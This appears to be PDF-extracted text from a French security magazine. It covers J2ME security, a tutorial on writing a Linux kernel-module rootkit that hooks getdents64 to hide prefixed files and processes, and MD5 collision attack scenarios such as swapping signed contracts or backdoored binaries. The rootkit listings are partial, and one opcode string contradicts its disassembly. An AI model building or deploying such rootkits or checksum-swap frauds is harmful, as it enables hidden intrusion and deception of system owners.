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ne soit pas portable entre les périphériques des autres fabricants et parfois même entre les différents modèles des périphériques du même fabricant. C'est pourquoi, si la portabilité est un point important dans votre projet, la mise en pratique des API natives n'est pas une bonne idée. Si MIDP 1.0 ne met à disposition que le protocole HTTP, MIDP 2.0 donne au développeur la possibilité d'utiliser plusieurs protocoles de communication comme, entre autres, SSL (dans notre cas – HTTPS). Si alors l'application doit marcher en MIDP 1.0 ou SSL (HTTPS) est, pour certaines raisons, un moyen de protection insuffisant, il faut se servir des bibliothèques de chiffrage externes comme, par exemple, le paquet BouncyCastle décrit dans le scénario n° 4. Comme dans le scénario 4, si l'envoi et la réception des données depuis les connexions réseaux sont gerés par des fonctions séparées et si avant l'envoi et après la réception des données, vous chiffrez/déchiffrez les données, le processus de chiffrage sera invisible pour le reste de l'application. Ainsi, vos données seront sûres.

Faiblesse humaine, puissance numérique

La protection contre les attaques nécessite la mise en pratique des mécanismes disponibles, fournis par J2ME et elle n'est pas difficile à faire. Mais comme vous avez pu le voir, les scénarios des attaques profitent notamment de l'imperfection humaine – de l'insouciance des développeurs qui traitent à la légère la question de la sécurité des applications créées et de la naïveté des utilisateurs inconscients des dangers liés aux logiciels de provenance inconnue. Les créateurs de l'environnement de développement Java 2 Micro Edition ont porté l'accent principal sur la sécurité à l'étape du projet – l'attaque directe contre les applications écrites correctement en J2ME semble être difficile et même impossible à réaliser. n

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Rootkit personnel dans GNU/Linux Mariusz Burdach

La tâche principale des rootkits est de dissimuler la présence de certains fichiers et processus dans le système attaqué. La création de cette fonctionnalité n'est pas difficile.

Attaque

L

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a compromission réussie d'un système n'est que le début du travail de l'intrusion. En effet, l'accès au compte du superutilisateur ne servira à rien si l'administrateur détecte que l'intégrité du système a été violée. L'étape suivante du travail du pirate consiste à effacer les traces de son passage à l'aide d'un rootkit, de façon à pouvoir profiter ultérieurement de la machine-victime. Essayons donc de créer un simple rootkit pour les systèmes Linux (sous forme d'un module chargeable à partir du noyau). Ce rootkit sera responsable de la dissimulation des fichiers, répertoires et processus portant un préfixe (dans notre cas hakin9). Tous les exemples ont été créés et lancés dans le système d'exploitation RedHat Linux avec le noyau 2.4.18. Le code entier est disponible sur le CD hakin9.live joint au magazine. Les informations de cet article seront particulièrement utiles aux administrateurs ainsi qu'aux personnes qui s'occupent de la sécurité. Les méthodes décrites peuvent être utilisées pour cacher les fichiers ou processus critiques. Elles peuvent être également utiles pour la détection de la compromission des systèmes d'exploitation.

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Mécanisme du fonctionnement

La tâche principale de notre rootkit consistera à cacher les fichiers qui se trouvent physiquement dans le système de fichiers local (cf. l'Encadré Tâches des rootkits). Il ne sera géré que localement et travaillera uniquement au niveau du noyau du système d'exploitation (il modifiera certaines structures de données). Ce type de code a sans doute beaucoup plus d'avantages que les programmes qui remplacent ou modifient les objets dans le système de

Cet article explique... •

comment créer son propre rootkit dissimulant la présence de fichiers et processus portant les noms avec des préfixes déterminés.

Ce qu'il faut savoir... • • • •

les notions de base de l'assembleur, le langage de programmation C, le mécanisme de fonctionnement du noyau du système Linux, créer les modules simples du noyau.

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Rootkit dans GNU/Linux

Tâches des rootkits

La tâche la plus importante des rootkits consiste à dissimuler la présence de l'intrus dans le système d'exploitation compromis (de plus, certains permettent de tenir une communication cachée entre la victime et l'intrus). Les fonctions principales du rootkit sont : • • • • • •

dissimuler les processus, dissimuler les fichiers et leur contenu, dissimuler les registres et leur contenu, dissimuler les ports ouverts et les canaux de communication, enregistrer toutes les frappes au clavier, intercepter les mots de passe dans le réseau local.

fichiers (par objets on comprend les programmes comme ps, taskmgr.exe ou bibliothèques win32.dll ou libproc). Il est facile de deviner que le plus grand avantage est le fait qu'il est difficile de détecter ce type de code – il ne modifie aucun objet sur le disque mais certaines structures de données dans la mémoire réservée pour le noyau du système d'exploitation. Seul est modifié l'objet représentant l'image du noyau du système qui doit se trouver dans le système de fichiers local (à moins que le système ne soit amorcé à partir d'un CD, d'une disquette ou d'un réseau).

Processus d'appel d'une fonction système

Comme nous l'avons dit, notre module du rootkit modifiera certaines structures de données dans la mémoire réservée pour le noyau du système d'exploitation. Nous devons donc choisir la place à modifier. La Listing 1. Déclaration de la structure dirent64 struct dirent64 { u64 s64 unsigned short unsigned char char };

d_ino; d_off; d_reclen; d_type; d_name[];

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Tableau 1. Fonctions système les plus importantes dans Linux Fonction système

Description

SYS _ open

ouvre le fichier

SYS _ read

lit le fichier

SYS _ write

enregistre dans un fichier

SYS _ execve

exécute un programme

SYS _ getdents / SYS _ getdent64

retournent le contenu du répertoire

SYS _ execve

utilisée par le système lors du lancement d'un fichier

SYS _ socketcall

gestion des sockets

SYS _ setuid / SYS _ getuid

servent à gérer l'identifiant de l'utilisateur

SYS _ setgid / SYS _ getgid

servent à gérer l'identifiant du groupe

SYS _ query _ module

l'une des fonctions servant à gérer les modules

méthode la plus simple (et l'une des plus faciles) consiste à intercepter l'une des fonctions système. Mais il existe beaucoup de places à modifier. Par exemple, nous pouvons intercepter la fonction gérant l'interruption 0x80 générée par les applications de l'espace utilisateur, ou bien la fonction system _ call() qui a pour le but d'appeler la fonction système appropriée. À vrai dire, le choix de la place dépend du but que nous voulons atteindre à l'aide du code écrit ainsi que le niveau de difficulté de détection de ce code. Dans le système Linux, nous pouvons distinguer deux méthodes d'appel des fonctions du système. La première méthode – directe – consiste à charger dans le registre du processeur les valeurs appropriées puis de générer l'interruption 0x80. L'exécution de la commande int 0x80 par le programme de l'utilisateur met le processeur en mode de travail protégé et appelle la fonction système appropriée. La seconde méthode, indirecte, consiste à utiliser les fonctions disponibles dans la bibliothèque glibc. Nous allons utiliser cette deuxième méthode qui est plus adaptée à nos besoins.

Choix d'une fonction système

Linux possède un jeu de fonctions système permettant d'exécuter dif-

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férentes opérations dans le système d'exploitation, comme par exemple ouvrir ou lire des fichiers. La liste complète des fonctions système est disponible dans les sources du noyau et dans le fichier /usr/include/asm/ unistd.h – leur nombre diffère en fonction de la version du noyau (pour le noyau 2.4.18 il y en a 239). Le Tableau 1 présente la liste des fonctions système les plus importantes et dont la modification peut nous être utile. La fonction sys _ getdents() semble être idéale pour être modifiée car elle va nous permettre de cacher les fichiers, répertoires et processus. La fonction sys _ getdents() est utilisée par les outils comme ls ou ps. Nous pouvons le vérifier grâce à l'outil strace qui à l'aide de la fonction système ptrace() suit le fonctionnement des processus fils. Lançons donc strace, en saisissant le nom du fichier exécutable comme paramètre. Nous verrons que la fonction getdents64() est appelée deux fois : $ strace /bin/ls ... getdents64(0x3, 0x8058720, 0x1000, 0x8058720) = 760 getdents64(0x3, 0x8058720, 0x1000, 0x8058720) = 0 ...

La fonction getdents64() ne diffère de getdents() que par la structure

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N'oublions pas que pendant la création du programme, nous ne connaissons pas encore l'adresse de notre fonction. C'est après le chargement du code dans la mémoire que nous pouvons déterminer cette adresse et la saisir dans le tableau où se trouve notre code. Les instructions écrites seront utilisées pour appeler la fonction originale getdents64(). L'algorithme du fonctionnement est donc le suivant :

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Figure 1. Exemple du contenu de la structure dirent64 chargée – elle utilise la structure dirent64, et non dirent. La déclaration de la structure dirent64 est présentée dans le Listing 2. Comme vous pouvez le constater, elle diffère de la structure dirent par le champ d _ type, les types de champ pour stocker l'information sur le numéro de l'i-nœud (inode) et le décalage vers la structure suivante. La construction de la structure dirent64 est pour nous particulièrement importante parce qu'elle sera soumise aux modifications. La Figure 1 présente l'exemple du contenu de la structure dirent64. C'est de cette structure que nous supprimerons les inscriptions concernant les objets à cacher. Chaque inscription représente un fichier du répertoire concret.

Attaque

Modification des fonctions du système

Puisque nous savons quelle fonction système sera modifiée, nous devons choisir la méthode de modification. La méthode la plus simple consiste à remplacer l'adresse de cette fonction. L'information sur l'adresse de cette fonction se trouve dans le tableau sys _ call _ table (ce tableau stocke les informations sur les adresses de toutes les fonctions système). Nous pouvons donc écrire notre propre fonction getdents64(), la charger en mémoire, puis enregistrer son Listing 2. Stockage et saut à l'adresse de la fonction stockée dans le registre movl $adresse_de_la_fonction, %ecx jmp *%ecx

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adresse dans le tableau sys _ call _ table (en remplaçant l'adresse de la fonction originale). Cette méthode de modification de la fonction est particulièrement populaire dans les systèmes Windows. Une autre solution consiste à remplacer la fonction qui appellera la fonction système et filtrera les résultats retournés – nous essayerons d'exécuter aussi cette opération. Cette méthode est basée sur le remplacement de quelques premiers octets de la fonction système originale. Ce remplacement consistera à stocker l'adresse de la nouvelle fonction dans le registre et d'exécuter un saut à l'aide de l'instruction jmp de l'assembleur à cette adresse, juste après l'appel de la fonction système (cf. le Listing 2). Comme nous l'avons déterminé auparavant, après la prise de contrôle du fonctionnement de la fonction système, nous appelons la version originale de la fonction getdents64(). Après avoir obtenu le résultat retourné par getdents64(), nous filtrons certaines informations (par exemple le nom du fichier). Pour pouvoir effectuer cette opération, nous devons protéger les instructions de la fonction originale contre le remplacement.

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•

•

•

enregistrez quelques premiers octets de la fonction getdents64() originale (l'adresse de la fonction getdents64() se trouve dans le tableau sys _ call _ table), mémorisez l'adresse de la nouvelle fonction (n'oubliez pas que vous pourrez connaître l'adresse de la nouvelle fonction seulement après le chargement de la fonction dans la mémoire), enregistrez le code du Listing 2 contenant l'instruction du saut à l'adresse du point 2 à l'adresse mémoire indiquée par le tableau sys _ call _ table ; le code doit occuper la même taille que celle définie dans le point 1.

Après l'exécution de ces opérations, le noyau du système sera modifié de façon appropriée (cf. la Figure 2). Lors du fonctionnement du système, chaque appel à la fonction getdents64() entraîne un saut à notre fonction qui exécutera les opérations suivantes : •

copie des quelques premiers octets de la fonction originale à l'adresse mémoire indiquée par le tableau sys _ call _ table, �����

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Figure 2. État du noyau après la modification de la fonction sys_getdents64()

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Rootkit dans GNU/Linux

• • •

appelle de la fonction originale sys _ getdents64(), filtrage du résultat retourné par la fonction originale, rétablissement du code du Listing 2 à l'adresse indiquée par le tableau sys _ call _ table ainsi que l'adresse de la fonction sys _ getdents64().

Nous pouvons constater que ces algorithmes cachent une inconnue qui est le nombre d'octets initiaux à copier. Vérifions donc le nombre d'octets occupant le code du Listing 2. Pour connaître le nombre d'octets occupé par ce code, il faut créer un programme simple qui va permettre après la compilation (et ensuite, après le désassemblage) de définir le nombre d'octets à copier (cf. l'article Ingénierie inverse du code exécutable ELF dans l'analyse après intrusion, hakin9 1/2005). Ce programme est présenté dans le Listing 3. Ensuite, nous allons convertir au format assembleur et d'opcode le contenu de la fonction main() qui se trouve dans la section du code exécutable (.text) de notre programme (Listing 3). Ce qui est important pour nous, c'est la conversion au format opcode que nous stockons dans le tableau et qui sera utilisé pour remplacer le code original (cf. le Listing 3). Après la suppression du prologue et de l'épilogue de la fonction, il nous reste sept octets que nous mettons dans le tableau : static char new_getdents_code[7] = "\xb9\x00\x00\x00\x00" /* movl $0,%ecx */ "\xef\xe1" /* jmp *%ecx */

Listing 3. Programme calculant le nombre d'octets à copier main() { asm("mov $0,%ecx\n\t" "jmp *%ecx\n\t" ); }

notre fonction et de la mettre dans le tableau new _ getdents _ code. Il faut remarquer que l'adresse doit commencer à partir du premier élément du tableau. Après le stockage de la fonction dans la mémoire (le chargement du module à l'aide de la commande insmod), le tableau est mis à jour de la façon suivante : *(long *)&new_getdents_code[1] = (long)new_getdents;

Stockage du code dans la mémoire

Notre rootkit sera installé dans la mémoire sous forme d'un module. Mais il ne faut pas oublier que cela ne sera pas toujours possible – certains administrateurs bloquent la possibilité de charger dynamiquement les modules dans le noyau. Pour stocker notre code, nous allons utiliser la fonction init _ module() qui est appelée lors du chargement du module dans la mémoire (à l'aide de la commande insmod modul.o). Cette fonction doit remplacer les sept premiers octets de la fonction originale getdents64(). Dans le cas présent nous nous heurtons à un problème – tout d'abord, il faut trouver l'adresse de la fonction originale getdents64(). Le plus simple serait de charger cette adresse à partir du tableau sys _

call _ table.

Hélas, l'adresse du tableau sys _ call _ table comme les adresses des autres éléments critiques du système ne sont pas exportées (c'est une sorte de protection contre le chargement de l'adresse à l'aide d'extern). Pour localiser l'adresse sys _ call _ table, il existe plusieurs méthodes. Nous pouvons, par exemple, utiliser l'instruction sidt pour charger le pointeur à l'adresse du tableau IDT (cf. l'article Quelques méthodes simples pour détecter débogueurs et l'environnement VMware de ce numéro de hakin9), puis charger à partir de ce tableau l'adresse de la fonction responsable de la gestion de l'interruption 0x80 et lire l'adresse du tableau sys _ call _ table de la fonction system _ call(). Malheureusement, cette méthode fonctionne seulement sur les systèmes d'exploitation qui ne sont pas lancés sous VMware ou UML. Une autre méthode consiste à charger l'adresse directement du fichier System.map créé lors de la compilation du noyau. Il contient tous les symboles importants et leurs adresses. Quant à nous, nous nous servirons d'une autre méthode qui consiste à utiliser les fonctions dont les adresses sont exportées par le noyau. Cela nous permettra de retrouver l'adresse du tableau sys _ call _ table. L'adresse sys _ call _ table se trouve dans la mémoire, quelque part entre les adresses des symboles loops _ per _ jiffy et boot _ cpu _ data. Il est facile de deviner que ces symboles sont exportés. L'adresse de la fonction système sys _ close() est aussi exportée.

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C'est aussi le nombre d'octets que nous devons laisser provenant de la fonction originale. Au lieu de 00 00 00 00, l'adresse de notre fonction sera saisie. Le second tableau, de sept éléments, est créé pour les instructions de la fonction originale getdents64(). La dernière opération dans cette étape est de trouver l'adresse de

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Listing 4. Désassemblage du programme du Listing 3 080483d0 80483d0: 80483d1: 80483d3: 80483d8: 80483da: 80483db: 80483dc: 80483dd:

: 55 89 e5 b9 00 00 00 00 ff e1 5d c3 90 90

push mov mov jmp pop ret nop nop

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%ebp %esp,%ebp $0x0,%ecx *%ecx %ebp

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Listing 5. Le code qui permet de retrouver l'adresse de sys_call_table for (ptr = (unsigned long)&loops_per_jiffy; ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)){ unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long) sys_close){ sct = (unsigned long **)p; break; }

Cette fonction sera utile pour vérifier si l'adresse trouvée du tableau est correcte. La valeur du septième élément du tableau devrait être l'adresse de la fonction sys _ close(). L'ordre des fonctions système peut être consulté dans le fichier d'en-tête /usr/include/ asm/unistd.h. Le fragment de code responsable de l'identification du tableau sys _ call _ table est présenté dans le Listing 5. Une fois l'adresse du tableau sys _ call _ table retrouvée, nous devons exécuter deux opérations qui nous permettrons d'intercepter tous les renvoies à la fonction originale getdents64(). Tout d'abord, nous copions les sept premiers octets de la fonction originale getdents64() dans le tableau syscall _ code[] : _memcpy( syscall_code, sct[__NR_getdents64], sizeof(syscall_code)

Gestion – communication avec l'espace utilisateur Maintenant, il faut s'occuper de la façon de transmettre les informations de l'espace utilisateur (userspace) à notre rootkit – il faut donc trouver la méthode afin de transférer les données sur les objets à cacher au rootkit. Ce n'est pas simple car l'accès direct de l'espace utilisateur à l'espace adressable réservé pour le code du noyau n'est pas possible. L'une des possibilités d'échanger les données est d'utiliser le système de fichiers procfs. Comme vous devez le savoir, procfs contient l'état actuel de la mémoire du système et permet de modifier certains paramètres du noyau directement à partir de l'espace utilisateur. Par exemple, si nous voulons modifier le nom de notre ordinateur, il suffit de saisir un nouveau nom dans le fichier /proc/ sys/kernel/hostname :

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Attaque

Ensuite, nous remplaçons les sept premiers octets de données de la fonction originale par le code du tableau new _ syscall _ code[]. Là se trouve l'instruction jmp à l'adresse mémoire où notre nouvelle version de la fonction est stockée : _memcpy( sct[__NR_getdents64], new_syscall_code, sizeof(syscall_code) );

Désormais, au lieu d'utiliser la fonction originale getdents64(), c'est notre fonction qui sera appelée.

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# echo hakin9 \ > /proc/sys/kernel/hostname

Nous commençons par créer un nouveau fichier, par exemple hakin9, dans le système de fichiers principal procfs (c'est le répertoire /proc). Dans ce fichier, nous saisirons le nom à partir duquel commenceront les noms des objets à cacher. Dans notre exemple, nous admettons qu'il est possible d'entrer le nom d'un préfixe. C'est suffisant – il est possible de cacher un nombre quelconque de fichiers, répertoires et processus dont les noms commencent par le préfixe saisi (ici hakin9). Cette opération permet de cacher le fichier de

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Listing 6. Prototype de la fonction creat_proc_entry() proc_dir_entry *create_proc_entry (const char *name, mode_t mode, struct proc_dir_entry *parent)

configuration hakin9 qui se trouve dans le répertoire /proc. La fonction qui crée le fichier dans le système de fichiers procfs s'appelle create _ proc _ entry(). Son prototype est présenté dans le Listing 6. Chaque fichier créé par create _ proc _ entry() dans procfs a la structure proc _ dir _ entry. À ce fichier sont associées les fonctions appelées pendant les opérations de lecture/écriture de l'espace utilisateur. La déclaration de la structure proc _ dir _ entry est présentée dans le Listing 7. Elle est également disponible dans le fichier d'en-tête /usr/src/linux-2.4/include/ linux/proc_fs.h. La plupart des champs sont actualisés automatiquement pendant la création d'un objet. Trois d'entre eux nous intéressent particulièrement. Pour nos besoins, il est nécessaire de créer deux fonctions : la première est write _ proc qui lit les données saisies par l'utilisateur et les enregistre dans le tableau dont le contenu est ensuite comparé aux inscriptions dans la structure dirent64. La seconde fonction est read _ proc – elle affi che les données pour les utilisateurs lisant le fichier /proc/hakin9. Le dernier élément est le champ data qui pointe vers la structure qui dans notre exemple, est composée de deux tableaux et dont l'un d'eux (value) contient le nom de l'objet à cacher. Le code source de la fonction (étant relativement volumineux) se trouve sur le CD joint au magazine.

Filtrage des données

L'élément le plus important de notre rootkit est la fonction qui appelle la fonction originale getdents64() et filtre une partie de résultats. Dans

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Rootkit dans GNU/Linux

notre exemple, c'est le nom de l'objet saisi par l'utilisateur dans le fichier portant le nom hakin9 se trouvant dans le répertoire /proc. Comme vous pouvez vous le rappeler, premièrement notre fonction appellera la fonction originale getndents64(), et ensuite vérifiera si la structure dirent64 ne contient pas d'objets à cacher. Pour appeler la fonction originale, nous devons d'abord la reconstruire. Pour cela, nous appellerons la fonction _ memcpy() qui stockera le contenu du tableau syscall _ code[] à l'adresse mémoire indiquée par le tableau sys _ call _ table (c'est l'adresse de la fonction système sys _ getdents64()). Puis la fonction originale getdents64() est appelée. Le nombre d'octets lus par cette fonction est enregistré dans la variable orgc. Comme vous le savez déjà, la fonction getdetns64() lit la structure dirent64. Notre fonction doit vérifier la structure dirent64 et éventuellement, supprimer l'inscription à cacher. Il ne faut pas oublier que la fonction getdents64() retourne le nombre d'octets lus, de part cela, il faut réduire cette valeur d'un multiple de l'inscription à cacher contenue dans la variable d _ reclen. Le fragment de la fonction décrit ci-dessus est présenté dans le Listing 8. La dernière opération consiste à mettre dans notre code la macrocommande EXPORT _ NO _ SYMBOLS qui bloque la possibilité d'exporter les symboles à partir du module. Si nous négligeons cette macro, le module exportera par défaut les informations sur les symboles et leurs adresses. Tous les symboles exportés par le noyau (y compris ceux exportés par les modules chargeables) sont disponibles dans le tableau qui peut être lu directement à partir du fichier /proc/ksyms. Si notre module n'exporte pas de symboles, il sera plus difficile à détecter. Maintenant, nous n'avons qu'à compiler et charger le module dans la mémoire de l'ordinateur : $ gcc -c syscall.c -I/usr/include/linux-2.4.XX $ su # insmod syscall.o

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Listing 7. Déclaration de la structure proc_dir_entry struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops; struct file_operations * proc_fops; get_info_t *get_info; struct module *owner; struct proc_dir_entry *next, *parent, *subdir; void *data; read_proc_t *read_proc; write_proc_t *write_proc; atomic_t count; /* use count */ int deleted; /* delete flag */ kdev_t rdev; };

Listing 8. Fragment de la fonction modifiant la structure dirent64 beta = alfa = (struct dirent64 *) kmalloc(orgc, GFP_KERNEL); copy_from_user(alfa,dirp,orgc); newc = orgc; while(newc > 0) { recc = alfa->d_reclen; newc -= recc; a=memcmp(alfa->d_name,baza.value,strlen(baza.value)); if(a==0) { memmove(alfa, (char *) alfa + alfa->d_reclen,newc); orgc -=recc; } if(alfa->d_reclen == 0) { newc = 0; } if(newc != 0) { alfa = (struct dirent64 *)((char *) alfa + alfa->d_reclen); } copy_to_user(dirp,beta,orgc);

Malheureusement, notre module est facile à détecter car il se trouve sur la liste des modules lancés dans le système (cette liste peut être affichée à l'aide de la commande lsmod ou cat /proc/modules). Heureusement, il est assez facile de cacher ce module – il suffit d'utiliser le module clean.o disponible sur Internet ainsi que sur notre CD (cf. l'article SYSLOG Kernel Tunnel – protection des journaux système dans ce numéro de hakin9).

Et ce n'est pas tout

Nous avons présenté les opérations de base qu'il faut effectuer pour écrire

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un rootkit personnel tout à fait opérationnel. Mais il reste au moins deux problèmes à résoudre : comment lancer automatiquement le module après chaque redémarrage du système et comment le cacher efficacement. Par exemple par l'ajout du code exécutable aux autres modules, qui sont eux tout à fait légaux. L'autre problème est lié au fait que parfois la possibilité de charger les modules peut être désactivée – dans ce cas, notre code doit être chargé directement dans la mémoire. La solution à tous ces problèmes sera présentée dans le prochain numéro de hakin9. n

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Menaces liées à l'application de l'algorithme MD5

Philippe Schwaha, Réné Heinzl

MD5 est sans doute l'une des fonctions de hachage les plus populaires – elle est utilisée autant dans les sommes de contrôle simples que dans les fichiers DRM (Digital Rights Management). Bien qu'il soit quasi impossible de révéler une faille de sécurité dans MD5, l'une d'elles a été trouvée par des chercheurs chinois. Analysons les menaces relatives à cette faille.

L

es recherches concernant MD5 ont été menées par quatre chercheurs chinois : Xiaoyun Wang, Dengguo Feng, Xueija Lai et Hongbo Yu. Ils ont présenté les résultats de leurs analyses pendant la conférence CRYPTO en septembre 2004. Leurs explications paraissaient invraisemblables, alors au début personne ne les avait traitées sérieusement. Mais après, d'autres auteurs ont présenté leurs résultats – ils ont confirmé les révélations publiées par les Chinois.

Attaque

Scénarios des attaques

34

Imaginons que nous voulons vendre sur Internet une chose très précieuse. Le prix de cet objet sera très élevé, nous voulons donc conclure un contrat d'achat-vente. Nous trouvons un acheteur, nous nous mettons d'accord sur le prix et nous établissons le contrat (un fichier PDF contenant le contrat sur 1000 euros). Si nous étions capables de créer deux fichiers ayant la même somme de contrôle MD5 et un autre contenu (par exemple, avec le prix de 100 000 euros), nous pourrions tromper l'acheteur. Nous envoyons donc le contrat pour un montant de 1000 euros à l'acheteur – celui-ci

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l'accepte, le confirme par sa signature électronique (par exemple à l'aide de gpg) et le renvoie. Grâce au fait que nous avons deux contrats avec la même somme de contrôle MD5, nous pouvons les remplacer – ainsi, nous faisons une affaire en or (outre l'aspect moral de cette entreprise, nous déconseillons bien sûr un tel comportment). L'acheteur doit payer 100 000 euros, il a confirmé le contrat par sa propre signature électronique. Et voici une autre méthode – nous sommes embauchés dans une grande entreprise informatique (comme par exemple celle de Redmond, USA), dans le département de programmation. Nous trouvons que notre employeur ne nous paie pas suffisamment,

Cet article explique... • •

comment exécuter des attaques sur la fonction MD5, comment fonctionne la fonction unidirectionnelle MD5.

Ce qu'il faut savoir... •

la programmation en C++.

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Menaces pour MD5

Comment fonctionne MD5

Un haché (condensé), appelé aussi message digest (de l'anglais condensé de message) est un nombre généré à partir de données d'entrée (par exemple d'un texte). Le haché est plus court que les données initiales et doit être généré de façon à ce qu'une même valeur de haché pour différents messages, soit la moins possible. Si deux messages différents donnent un condensé de message identique, on dit qu'une collision s'est produite. Évidemment, il faut éviter de telles situations – sinon, l'utilisation des fonctions de condensation (de hachage) devient inutile. La fonction de hachage empêchant de récupérer le texte original du contenu du haché est appelé fonction à sens unique. MD5 est justement une fonction à sens unique. Elle a été conçue au MIT (Massachusetts Institute of Technology) par Ronald Rivest. Elle génère un haché du message d'une longueur de 128 bits et est utilisée pour vérifier l'intégrité des données. La spécification de la fonction MD5 est disponible dans le document RFC 1321 (cf. l'Encadré Sur le réseau).

Première étape : préparation des données

MD5 utilise toujours des données d'une longueur totale égale à un multiple de 512 bits. Pour obtenir un texte de la longueur exigée, celui-ci doit être préparé de la manière suivante : • •

un simple bit de valeur 1 précédé de zéros est ajouté au message de façon à ce que sa longueur soit inférieure à 64 d'un multiple de 512 bits, les 64 bits manquants sont utilisés pour stocker la longueur originale du message – si le message avait une longueur invraisemblable de 2^64 bits (c'est-à-dire 2097152 teraoctets), seuls les 64 derniers bits sont ajoutés.

Ces actions sont toujours effectuées, même si le message a déjà la longueur exigée (un multiple de 512 octets).

Deuxième étape : calculs

Ensuite, le haché est créé. Il est obtenu à la suite de la modification multiple de la valeur de 128 bits décrivant l'état. Pour comprendre plus facilement ce processus, la Figure 1 présente le schéma de cet algorithme. Lors des calculs, l'état de 128 bits est divisé en quatre fragments (blocs) de 32 bits – appelons-les A, B, C et D. Au début du fonctionnement de l'algorithme, ces valeurs sont prises pour : A = 0x67452301, B = 0xefcdab89, C = 0x98badcfe, D = 0x10325476. L'état initial est ensuite modifié. Cela se fait par le traitement de chaque bloc de données d'entrée dans l'ordre approprié. Le traitement de chaque bloc de données d'entrée est effectué en quatre phases. Chaque phase, appelée aussi tour, se compose de 16 opérations, ce qui donne 64 opérations pour chaque bloc de données. Le bloc d'entrée de 512 bits est divisé en 16 chaînes de données d'une longueur de 32 bits. La plus importante pour chaque tour est l'une des fonctions suivantes : • • • •

F(X,Y,Z) = (X AND Y) OR (NOT(X) AND Z),

G(X,Y,Z) = (X AND Z) OR (Y AND NOT(Z)), H(X,Y,Z) = X XOR Y XOR Z,

I(X,Y,Z) = Y XOR (X OR NOT(Z)).

Chacune d'entre elles charge trois portions de données de 32 bits et les transforme en une valeur de 32 bits. Dans chaque tour, à l'aide de ces fonctions, de nouvelles variables d'état temporelles sont calculées (A, B, C et D). Outre les données initiales, pour calculer la valeur du haché, les données du tableau contenant les parties entières 4294967296 * abs(sin(i)) sont utilisées. Les résultats de chaque phase sont employés dans la phase suivante après leur ajout à la fin du bloc de données d'entrée, aux valeurs précédentes A, B, C et D représentant l'état. Après avoir répété les opérations sur tous les blocs d'entrée, nous obtenons le haché sous forme d'une valeur de 128 bits décrivant l'état.

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nous voulons donc accomplir une vengeance numérique sanglante. Nous créons un fichier avec le programme que nous sommes en train d'élaborer (appelons cette archive dataG.fi le). Ensuite, nous créons encore un fichier (portant le nom dataD.fi le), mais cette fois-ci, il contient les données dangereuses, comme un cheval de Troie ou une porte dérobée. Nous envoyons le fichier innocent dataG.fi le au département contrôlant les binaires, qui vérifiera les données et créera pour lui les sommes de contrôle et les signatures MD5. Le programme est ensuite placé sur un serveur FTP. Maintenant, nous pouvons remplacer le fichier dataG.fi le par le fichier malicieux dataD.fi le – les sommes de contrôle MD5 seront identiques. Même si quelqu'un, un jour se rend compte du contenu malicieux du fichier, c'est le département de contrôle de fichiers qui en sera responsable. Scénario suivant : nous écrivons un jeu simple et plaisant ou un petit programme très utile. Nous mettons notre œuvre (portant, par exemple, le nom dataG.file) et quelques d'autres fichiers sur un site Web. Ensuite, quelqu'un qui téléchargera notre fichier, décompactera l'archive et installera les binaires. Vu qu'il est un utilisateur consciencieux, il crée les sommes de contrôle de ces fichiers (à l'aide de Tripwire ou tout autre outil exploitant MD5). Mais si nous obtenions l'accès à sa machine (par quelque moyen que ce soit), nous pourrions remplacer dataG.file par notre fichier dataD.file. Le système de détection des modifications n'enregistrera aucun changement – ces fichiers ont la même somme de contrôle, et nous avons une porte dérobée parfaite, dissimulée sur l'ordinateur-victime. Impossible ? Actuellement, ces types d'attaques sont heureusement irréels – les chercheurs chinois, sous la direction de Wang, n'ont pas publié jusqu'alors l'algorithme complet permettant de retrouver la clé de collision (collision key) pour un message quelconque. Nous

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S'attaquer à une signature électronique

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Attaque

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le fichier exécutable create-package, le fichier exécutable self-extract, deux fichiers différents avec les contrats au format PDF (contract1.pdf, contract2.pdf).

Les fichiers disponibles dans l'archive hakin9.live peuvent être compilés à l'aide de Makefile fourni aussi sur le CD (pour les plates-formes Unix). Les utilisateurs de la plate-forme Microsoft Windows peuvent se servir des binaires tous prêts. Le fichier exécutable create-package (cf. le Listing 1), à partir des deux fichiers données (contract1.pdf, contract2.pdf) crée deux nouveaux fichiers contenant les informations additionnelles – chacun d'eux contient les deux fichiers donnés. La syntaxe de la commande est la suivante :

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Figure 1. Schéma du fonctionnement de l'algorithme MD5

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Comme nous l'avons déjà dit, nous allons commencer par l'exemple avec deux contrats différents (l'exemple basé sur le texte d'Ondrej Mikle de l'Université de Prague). Nous avons besoin des fichiers suivants (disponibles sur hakin9.live) : •

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devons donc limiter nos études à des exemples très simples. Pourtant, nous pouvons démontrer comment mettre en pratique ce savoir et ce qu'il sera possible si le mécanisme de génération des blocs en collision à partir des messages quelconques est publié. Nos limitations sont dues au fait que nous ne sommes pas capables de créer les paires de clés de collision dans un temps raisonnable. Nous nous servirons alors des messages tous prêts de 1024 bits, présentés dans le texte de Wang.

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$ ./create-package contract.pdf \ contract1.pdf contract2.pdf

Ce programme stocke les fichiers contract1.pdf et contract2.pdf dans les archives appropriées : data1.pak et data2.pak. Chacune d'elles, utilisée

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Menaces pour MD5

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����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ����������������������������������� ��

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�������� :

�������������������

Figure 2. Distribution des données dans les fichiers data.pak avec le programme self-extract, créera le fichier portant le nom contract.pdf.

La Figure 2 présente la distribution des données dans les fichiers data1.pak et data2.pak.

